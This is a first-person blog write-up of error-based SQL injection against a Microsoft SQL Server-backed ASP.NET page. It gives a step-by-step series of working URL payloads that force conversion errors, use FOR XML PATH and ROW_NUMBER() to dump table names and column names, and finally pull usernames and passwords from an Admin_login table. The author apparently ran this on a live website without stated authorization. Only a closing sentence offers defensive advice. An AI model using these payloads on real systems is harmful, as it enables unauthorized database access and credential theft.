SQL Injection Data Extraction through .NET framework error.

Hello, I am Atmanand Nagpure(proghax333). I am a computer researcher and a hacker. This is the story about how I figured out a way to extract data from the Microsoft SQL Server database by producing .NET unhandled exceptions. This technique works where there is join, union, or other stuff in the original query.

The Problem:
So, the problem I faced was: I was trying union-based injection on a website, but the website wasn’t giving me the proper number of columns in the response when I was trying the order by styled injection. It gave me the number of columns of the first table in the group of joined queries. So, I tried to figure out another approach to extract data from the query.

Interestingly enough, from the injection and invalid inputs, I found out that the server technology was the Microsoft SQL server. So, decided to search for some exploits. But, they weren’t working.

Remember, I was trying to extract data. Wasn’t trying to execute an insert query or update query.

So, I tried a non-closed string comparison in an AND statement attached to the original query. Here’s how it looked:

URL: http://www.example.com/Department/FacultyDetailViewN.aspx?Id=817' and 1=” — -+

Comparing 1=” , where “ is a non-closed string. Produced an exception with some data.

Okay, now I got really motivated. Started to think that somehow we can extract the data embedded in the resulting error. Let the error appear. Extract data through error.

The Solution:

So, after keeping the vision in mind, I started to write a nested SQL query and comparing it with the integer number: 1, like given below:

?Id=817' and 1=(select table_name from information_schema.tables) — -+

And it gave me this… Umm… Yeah… But, It wasn’t the real big problem though…

Yeah… This wasn’t working because it returned more than one values. It wasn’t a big deal to fix it though.

So, I decided to return only one row as the query result. For testing purpose, I used the select top 1, which returns the first row of the table. So, yeah… I used it and Voila! I got the first table_name from information_schema.tables!

?Id=817' and 1=(select top 1 table_name from information_schema.tables) — -+

Voila! Got the first table_name from information_schema table.

So, after solving first problem there came another problem which was related to the SQL Server language syntax: THERE WAS NO ‘LIMIT m,n syntax for MSSQL!!! No ranging operator!!! What to do now? Because, comparison can happen only between single-single values.

Then, I found used a great SQL Server hack, which concats all rows into a single XML. The legendary FOR XML(‘ ’) hack!

Note: The DB_NAME() function returns the name of current database in MSSQL.

Here’s what I did:
?Id=817' and 1=(select cast(concat(db_name(),0x3a,0x3a,table_name,0x0a) as varchar(8000)) from information_schema.tables for xml path(‘’)) — -+

Here are tables in database.

Now, next phase was to get columns of the Admin_login table. Just used the generic where condition.

?Id=817' and 1=(select cast(concat(db_name(),0x3a,0x3a,column_name,0x0a) as varchar(8000)) from information_schema.columns where table_name=’Admin_login’ for xml path(‘’)) — -+

Here are the columns in table. Now, just need to extract the data.

Now, everything was simple. Only thing I had to do was to perform a simple SQL Select query to the table:

817' and 1=(select cast(concat(UId,0x3a,0x3a,Pwd,0x0a) as varchar(8000)) from Admin_login for xml path(‘’)) — -+

And, that is Username:Password in the table Admin_login

That was it! That was my first approach!

Approach 2(Really? Huh?):

So, here is another query which I used to extract data row by row using a simple hack: The ROW_NUMBER() function.

817' and 1=(SELECT concat(0x35,0x34,0x35,0x31,0x35,0x46,0x46,0x41,0x45,0x39,0x42,0x32,0x37,0x36,0x39,0x31,0x41,0x31,0x30,0x31,0x41,db_name(),0x3a,0x3a,table_name,0x37,0x41,0x46,0x34,0x35,0x38,0x36,0x30,0x43,0x41,0x35,0x45,0x43,0x38,0x46,0x41,0x43,0x45,0x37,0x33) FROM (SELECT ROW_NUMBER() OVER(ORDER BY (select NULL as noorder)) AS RowNum, * FROM information_schema.tables) as alias WHERE RowNum BETWEEN 1 AND 1) — -”;

Woah! Big query… But that hex stuff is just for extracting data using a custom PHP script written to extract data using CURL API. I performed GET request. The script checked for the data returned by the database. This was possible because that HEX stuff is nothing but a unique string which is searched by the JavaScript RegEx. It extracts the substring bounded between that unique string. Then the duplicate data is removed using a specially written JavaScript function.

Custom PHP script retrieving data from website and rendering it in table format.

So, developers must take utmost care and precautions to keep the data secure and not leak the interface and direct object reference to the outsiders. Upgrade your servers to the latest Microsoft SQL Server 2017 or later releases.

That’s All for today!

Atmanand Nagpure(proghax333).